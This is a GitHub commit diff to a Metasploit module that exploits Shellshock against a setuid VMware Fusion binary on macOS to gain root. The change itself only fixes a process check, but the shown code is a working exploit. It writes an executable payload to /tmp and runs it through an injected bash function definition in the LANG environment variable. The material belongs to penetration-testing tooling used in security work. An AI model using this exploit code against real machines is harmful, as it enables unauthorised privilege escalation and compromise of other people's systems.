Skip to content

Commit a9049f4

Browse files
committed
Merge pull request #15 from jvazquez-r7/test_3882
Fix processes check
2 parents f6708b4 + 456d731 commit a9049f4

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/exploits/osx/local/vmware_bash_function_root.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -64,25 +64,26 @@ def check
6464
end
6565

6666
def exploit
67-
process_check = datastore['VMWARE_PATH'] + '/Contents/Library/[VO]'
67+
process_check = datastore['VMWARE_PATH'] + '/Contents/Library/VMware Fusion Services'
6868
processes = cmd_exec("bash -c \"ps ax | grep '#{process_check}'\"").split("\n")
69+
processes.delete_if { |p| p =~ /grep/ }
6970

7071
if processes.length > 0
71-
print_error "VMware is already running the following processes:\n " + processes.join("\n")
72-
print_error "These processes must be killed before exploiting."
72+
print_error("VMware is already running the following processes:\n #{processes.join("\n")}")
73+
print_error("These processes must be killed before exploiting.")
7374
return
7475
end
7576

7677
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
7778
path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary
7879

79-
print_status "Writing payload file as '#{payload_file}'"
80+
print_status("Writing payload file as '#{payload_file}'")
8081
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
8182
write_file(payload_file, exe)
8283
register_file_for_cleanup(payload_file)
8384
cmd_exec("chmod +x #{payload_file}")
8485

85-
print_status "Running VMWare services..."
86+
print_status("Running VMWare services...")
8687
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}'")
8788
end
8889

0 commit comments

Comments
 (0)